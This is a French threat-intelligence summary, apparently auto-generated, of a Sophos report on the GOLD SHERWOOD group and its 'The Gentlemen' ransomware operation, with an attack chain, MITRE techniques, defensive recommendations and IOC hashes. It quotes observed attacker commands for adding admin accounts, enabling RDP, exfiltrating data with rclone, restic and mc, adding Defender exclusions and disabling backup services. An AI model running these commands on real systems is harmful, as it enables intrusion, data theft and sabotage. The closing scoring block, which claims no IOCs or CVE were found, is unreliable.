GOLD SHERWOOD : analyse du playbook post-exploitation du RaaS The Gentlemen

🔍 Contexte

Publié le 1er septembre 2026 par Sophos sur leur blog officiel, cet article présente les conclusions des chercheurs de la Counter Threat Unit™ (CTU) concernant le groupe de menace GOLD SHERWOOD et son opération ransomware-as-a-service (RaaS) The Gentlemen. L’analyse repose sur 15 intrusions distinctes investiguées par la CTU.

🎯 Acteur et modèle opératoire

GOLD SHERWOOD exploite le schéma RaaS The Gentlemen depuis mi-2025, sur un modèle de double extorsion : vol de données avant chiffrement. Les premières victimes ont été publiées sur un site de fuite dédié en septembre 2025, mois durant lequel une annonce de recrutement d’affiliés proposant un partage de rançon 90/10 est apparue sur le forum underground RAMP.

Volumétrie du site de fuite :

• Moins de 20 victimes par mois sur la fin 2025
• Moyenne supérieure à 75 par mois dès le début 2026, suggérant une hausse du nombre d’affiliés actifs
• 683 victimes cumulées fin juillet 2026, dont 169 pour le seul mois de juillet

La victimologie est typique d’une entreprise cybercriminelle opportuniste : tous secteurs confondus, les affiliés compromettent les organisations sur la seule base des accès disponibles.

🧭 Chaîne d’attaque observée

1. Accès initial

Les affiliés s’appuient sur l’exploitation de vulnérabilités de pare-feux et l’abus d’identifiants VPN :

• Group-IB a décrit en mars la reconnaissance d’interfaces de management FortiGate exposées et vulnérables à CVE-2024-55591
• Des logs Rocket.Chat fuités en mai montraient le groupe testant des identifiants volés contre une série de services VPN
• La CTU a relevé des artefacts suggérant l’exploitation d’équipements Fortinet, sans confirmation possible via la télémétrie
• Incident de février : authentification sur un VPN SSL Fortinet avec des identifiants compromis, depuis une IP externe géolocalisée aux Pays-Bas. L’absence de MFA a permis l’accès. Dans l’heure suivante, plusieurs sessions VPN ont été ouvertes depuis différentes IP étrangères — redondance opérationnelle et validation d’accès précoces.

2. Mouvement latéral

Progression via RDP avec des comptes de domaine valides, en authentifications rapprochées vers plusieurs systèmes internes dont un serveur de fichiers et des contrôleurs de domaine. L’accès est maintenu par des reconnexions VPN répétées.

3. Staging des outils

Les outils sont déposés dans C:\PerfLogs, répertoire système légitime rarement surveillé : outils d’exfiltration et de sauvegarde, EDR killers et leurs drivers vulnérables, outils de découverte. Autre répertoire observé : C:\Users\<username>\Documents\AVAST2\.

4. Découverte, accès aux identifiants et escalade de privilèges

• Énumération réseau via Advanced IP Scanner et SoftPerfect Network Scanner (exécuté de façon répétée sur de nombreux serveurs, en préparation du mouvement latéral et de l’exfiltration)
• Récupération du PID de LSASS : tasklist /v /fo csv | findstr /i "lsass"
• Usage de Mimikatz confirmé par des recherches tierces (absent de la télémétrie Sophos)
• Manipulation directe des groupes locaux et de domaine :
  • net1 localgroup administrators itadmin /add
  • net group "domain admins" ldap /add /domain
  • net user administrator qwertyu1 /domain
• Dans un incident, changement du mot de passe de deux comptes administrateurs pour verrouiller l’accès et entraver la remédiation

5. Persistance

• Installation d’un agent Cloudflared en tant que service Windows, exécutant cloudflared.exe via un token valide — canal d’accès distant discret et indépendant du VPN initial
• Déploiement de Datto RMM sur un poste (rôle exact non déterminé)
• Dans au moins quatre incidents, activation de RDP au niveau système puis ouverture du port :
  • reg add HKLM\System\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /d 0 /f
  • netsh advfirewall firewall add rule name="Remote Desktop" dir=in action=allow protocol=tcp localport=3389

6. Exfiltration

Rclone est l’outil privilégié (observé dans 5 des 15 incidents), devant MEGAsync et FileZilla. Les paramètres sont ajustés pour limiter le volume et le bruit, avec des destinations distantes nommées d’après la victime :

• rclone copy s:\ wasabi1:<remote location> --transfers 8 --max-age 4y --include-from filter.txt -p
• rclone copy E:\ <remote location> --transfers 8 --max-age 5y --include-from filter.txt -P
• rclone copy z:\ :<remote location> --include-from filter.txt -p
• rclone copy ... remote:<remote location>/ -q --ignore-existing
• rclone copy --filter-from filter-file.txt "\\10.0.0.221\D$" remote:<remote location>/ -q --ignore-existing --auto-confirm --multi-thread-streams 8 --transfers 8 --max-age 8y --progress

Dans une intrusion, la stratégie s’est révélée séquentielle et adaptative plutôt que figée : après une première exfiltration Rclone depuis un lecteur mappé (z:), bascule ~25 minutes plus tard vers Restic (restic init, puis inspection de notepad.exe c:\perflogs\restic-config.bat, puis restic backup z:\ --include-file=filter.txt et restic backup z:\ --exclude="*.exe"), puis usage du client MinIO (mc cp --recursive z:\ wasabi/...) vers du stockage objet.

7. Évasion des défenses

EDR killers (BYOVD) — ESET a documenté en juin 2026 la fourniture aux affiliés d’une suite d’outils exploitant des drivers vulnérables. Variantes observées par la CTU :

Variante	Fichiers	Incidents
GentleKiller – Watchdog	bitd1.exe, bitd2.exe, bitdclear.exe, bitdlight.exe, y7d0.exe	6
GentleKiller – Javelin	eaanticheat1.exe, eaanticheat2.exe, eaanticheatclear.exe, eaanticheatlight.exe, EASOLO1.exe, EASolo1Light.exe, EASOLO2.exe, EASOLO2clear.exe	6
GentleKiller – G11	g111.exe	1
GentleKiller – FACEIT Anti-Cheat	FaceITClear.exe	1
Havoc	acronis.exe, hwaudkiller.exe, sophos.exe, Sophos2.exe, Sophos3.exe	2
Xkpsm-Killer	x.exe	2

L’outil open source Xkpsm-Killer n’avait jamais été observé dans des compromissions The Gentlemen : téléchargement du driver vulnérable xkpsm.sys puis exécution de x.exe pour cibler les processus Sophos EDR (tentatives détectées).

Neutralisation de Windows Defender :

• powershell -command "Add-MpPreference -ExclusionPath C:\ -Force" (exclusion du disque C: entier)
• powershell -command "add-mppreference -exclusionprocess" c:\x\g_<file extension>_windows_amd64.exe -force
• reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1
• Exécution d’un script batch hébergé sur le partage NETLOGON d’un contrôleur de domaine pour une diffusion homogène : cmd.exe /c "\\NETLOGON\avkill.bat"

Sabotage des sauvegardes et destruction de traces :

• Plus de 200 variations de commandes sc config visant un large éventail de services de sauvegarde et de réplication, systématiquement juste avant le déploiement du ransomware :
  • sc config VeeamBackupSvc start= disabled
  • sc config SQLWriter start= disabled
  • sc config BackupExecAgent start= disabled
• Effacement des journaux Application, Système et Sécurité sur plusieurs hôtes

8. Exécution et impact

GOLD SHERWOOD fournit un ransomware propriétaire décliné en versions Windows, Linux et ESXi ; seule la variante Windows a été déployée dans les incidents analysés (la variante ESXi a été téléchargée une fois, sans déploiement constaté).

Binaires écrits en Go, aux formats de nom :

• locker_<file extension string>_windows_amd64.exe
• G_<file extension string>_windows_amd64.exe
• decryptor.exe

Paramètres en ligne de commande : --password (clé de chiffrement), --superfast / --ultrafast (vitesse), --keep (conservation des extensions), --path (ciblage distant via chemins UNC, ex. \\<IP>\c$\users).

Déploiement par exécution locale depuis les répertoires de staging, mouvement latéral via PsExec, et distribution à l’échelle du domaine via les partages NETLOGON. Les fichiers chiffrés reçoivent une extension de six caractères, souvent reprise dans le nom du binaire, et une note README-GENTLEMEN.txt est déposée dans tous les répertoires affectés. La note contient un Tox ID, un Session ID et un lien .onion vers le blog de fuite, avec un compte à rebours de 239 heures.

⚡ Temps de latence

Le délai médian entre la première activité post-compromission observée et le déploiement du ransomware est d’environ deux jours, le plus court étant inférieur à 24 heures.

🛡️ Recommandations

• Imposer le MFA sur les VPN et tous les services d’accès distant
• Patcher rapidement les pare-feux et concentrateurs VPN exposés
• Restreindre et surveiller les modifications de groupes d’administration
• Limiter l’exposition RDP et alerter sur les modifications suspectes de registre, de règles pare-feu et d’exclusions Defender
• Surveiller les exécutions inhabituelles depuis C:\PerfLogs et répertoires de staging assimilés
• Détecter l’usage de Rclone, Restic, FileZilla, MEGAsync et MinIO Client
• Protéger les plateformes de sauvegarde contre les changements de configuration de service non autorisés
• Investiguer toute tentative de désactivation d’outils de sécurité, d’effacement de journaux ou de chargement de drivers vulnérables

📄 Nature de l’article

Il s’agit d’une publication de recherche CTI dont le but principal est de documenter et partager les tactiques, techniques et procédures (TTPs) observées dans le cadre de l’opération RaaS The Gentlemen afin d’alimenter la connaissance des défenseurs.

🧠 TTPs et IOCs détectés

Acteurs de menace

• GOLD SHERWOOD (cybercriminal) — orkl.eu

TTP

• T1190 — Exploit Public-Facing Application (Initial Access)
• T1133 — External Remote Services (Initial Access)
• T1078 — Valid Accounts (Defense Evasion)
• T1068 — Exploitation for Privilege Escalation (Privilege Escalation)
• T1021.001 — Remote Services: Remote Desktop Protocol (Lateral Movement)
• T1021.002 — Remote Services: SMB/Windows Admin Shares (Lateral Movement)
• T1569.002 — System Services: Service Execution (Execution)
• T1046 — Network Service Discovery (Discovery)
• T1057 — Process Discovery (Discovery)
• T1003.001 — OS Credential Dumping: LSASS Memory (Credential Access)
• T1098 — Account Manipulation (Persistence)
• T1136.001 — Create Account: Local Account (Persistence)
• T1531 — Account Access Removal (Impact)
• T1543.003 — Create or Modify System Process: Windows Service (Persistence)
• T1219 — Remote Access Software (Command and Control)
• T1112 — Modify Registry (Defense Evasion)
• T1562.001 — Impair Defenses: Disable or Modify Tools (Defense Evasion)
• T1562.004 — Impair Defenses: Disable or Modify System Firewall (Defense Evasion)
• T1070.001 — Indicator Removal: Clear Windows Event Logs (Defense Evasion)
• T1036 — Masquerading (Defense Evasion)
• T1074 — Data Staged (Collection)
• T1567.002 — Exfiltration to Cloud Storage (Exfiltration)
• T1048 — Exfiltration Over Alternative Protocol (Exfiltration)
• T1489 — Service Stop (Impact)
• T1490 — Inhibit System Recovery (Impact)
• T1486 — Data Encrypted for Impact (Impact)

Malware / Outils

• The Gentlemen (ransomware, Go, variantes Windows/Linux/ESXi)
• GentleKiller (EDR killer, variantes Watchdog / Javelin / G11 / FACEIT Anti-Cheat)
• Havoc (EDR killer)
• Xkpsm-Killer (EDR killer open source)
• Mimikatz (credential dumping)
• Rclone, Restic, MinIO Client (mc), MEGAsync, FileZilla (exfiltration)
• Advanced IP Scanner, SoftPerfect Network Scanner (découverte)
• Cloudflared, Datto RMM, PsExec (accès distant / exécution)

CVE

• CVE-2024-55591 — Fortinet FortiOS / FortiProxy (contournement d’authentification, interfaces de management exposées)

Indicateurs de compromission

EDR killers — acronis.exe

• MD5 622b2ca08552535bc142cb815ff9ec16
• SHA1 f0bc50d2d2838c5294e21cd9bce2f09bf581e508
• SHA256 a348f5fa048a09188bd706fd3d4efca978990caf3355ecfee501c9f1e19c0efd
• MD5 4741a4976c6abfb3c80c170104518b6e
• SHA1 be8c52474ab79a52af31e3cb2f71638299a0de1d
• SHA256 ddba5b4e7a7ada77d56477e9d41c008f93e81d9a33ed09e77cb2af624fa694fe

EDR killers — acronis.exe / hwaudkiller.exe

• MD5 738df7ae0097f6bef93d65be5d4a2a26
• SHA1 c96baab9b7e7ef661921d44d7900f165c794ed25
• SHA256 1a9291ec869155336bf185d221d655d11c77a55ea0c8ecc0274202f74a90fcd1

EDR killer — y7D0.exe

• MD5 d8691ef15eea27cfefafeeb485286080
• SHA1 8bca55b3c9bfbdf68c9b6c72a7b1bf1dd6d5e3b2
• SHA256 3c71537b64487bbf4d1793f72c75d332650d09a77b71e4d884ff15c266a847f6

EDR killer — sophos.exe

• MD5 b23b653541bd95bdc4da07a0b07b57bf
• SHA1 f0537cbb773ae12100b36731e7c39f5a9d852b14
• SHA256 50f2cdf16f05da9253fa2d6eb60d5a42da14c02c551c0874c9e953d4119da69c

EDR killer — sophos2.exe

• SHA256 bf7a2fb7f7256809dc690213b85f747cef8db7b909caf9783cac181912fb6207

EDR killer — sophos3.exe

• SHA256 761ce72420edf5e5531cdbad0e93397d7520cdead825886ca7f75cef76031720

EDR killer — g111.exe

• MD5 002417da707b93bf5ce3cb26d28005f6
• SHA1 8732c1ff565828a0bdef514b5dc0dfea40c1d1f2
• SHA256 81053c2c3be8b7dbf7d5087dba05c940b3ee4fd95524272651c816b72c5a9443

EDR killer — FaceITClear.exe

• SHA256 7a37acb031cddaa39ad20db0961baa5423ec53f318c49c9275c982507da76d6a

EDR killer — eaanticheat2.exe

• MD5 bc4a8d7bbbeb941265dfc954539326c0
• SHA1 b7cea81e6de895d01d01d20bd6dcfd347940b57f
• SHA256 3a31ec3bf9b7eac6593a723145381f5d0f4ede076c4c8818d949a08f5596ff76

EDR killer — EAAntiCheatClear.exe

• SHA256 68031d549de399a44bb00614b910106baccef5996623b2f1102352a52a5bb444

EDR killers — famille EASOLO

• SHA1 058c3ff21e79770e4a60937c27b1ede227709248 (EASOLO1.exe)
• SHA1 9c0b05eb75f971cc25ee979e49b227b86b19e833 (EASolo1Light.exe)
• SHA1 a438ba2122a814320f47a056f04122f81c2ae6c5 (EASOLO2.exe)
• SHA1 a8ba89e67297642dcc1ae77433ab84e1f27d1792 (EASOLO2clear.exe)

Drivers vulnérables (BYOVD) — nogbc.sys

• MD5 8ea97d01cbf459b94d134d05c54cd33e
• SHA1 5c9bf6b7e4c7dc9b9227ce86e2d271d624c35147
• SHA256 0be8f415a485b11747bcfd71c9cd9781e090354728f076791ed6845b69ed78fb

Driver vulnérable (BYOVD) — G11.sys

• MD5 07e9f0b8627a95960e79e930fb099e84
• SHA1 56bee9df5833a637f5c54d5911df98b0812fe643
• SHA256 2d91a78e739891c9854c254f5b2a6b84c0e167dfa253466cbccd2cdd1c20145d

Driver vulnérable (BYOVD) — dmx.sys

• SHA256 ccdde8091d63eaafbe30d9f0482afd245abc10ab16e21ae9254e51e42cb80ae8

Autres artefacts

• Driver xkpsm.sys associé à x.exe (Xkpsm-Killer)
• Note de rançon : README-GENTLEMEN.txt
• Répertoires de staging : C:\PerfLogs\, C:\Users\<username>\Documents\AVAST2\
• Script de désactivation AV : \\NETLOGON\avkill.bat
• Fichier de configuration : c:\perflogs\restic-config.bat

Contre-mesures Sophos

ATK/KillAV-ENI, ATK/KillAV-HID, ATK/KillAV-HWA, ATK/KillAV-NC, ATK/KillAV-SKY, ATK/KillAV-SKZ, ATK/KillAV-SOP, Creds_4i, CXrep/MalGo-B, Evade_40g, Evade_66a, Prevent_2a, Troj/ABYSSW-B, Troj/HCrypt-E, W32/Neshta-D

---

🟡 Indice de vérification factuelle : 45/100 (moyenne)

• ✅ sophos.com — source reconnue (liste interne) (20pts)
• ✅ 773 chars — extrait court (5pts)
• ⬜ aucun IOC extrait (0pts)
• ⬜ pas d’IOC à vérifier (0pts)
• ✅ 5 TTPs MITRE identifiées (15pts)
• ⬜ date RSS ou approximée (0pts)
• ✅ acteur(s) identifié(s) : GOLD SHERWOOD (5pts)
• ⬜ pas de CVE à vérifier (0pts)

---

🔗 Source originale : https://www.sophos.com/en-us/blog/ungentlemanly-behavior-insights-into-a-ransomware-operation

🖴 Archive : https://web.archive.org/web/20260903070454/https://www.sophos.com/en-us/blog/ungentlemanly-behavior-insights-into-a-ransomware-operation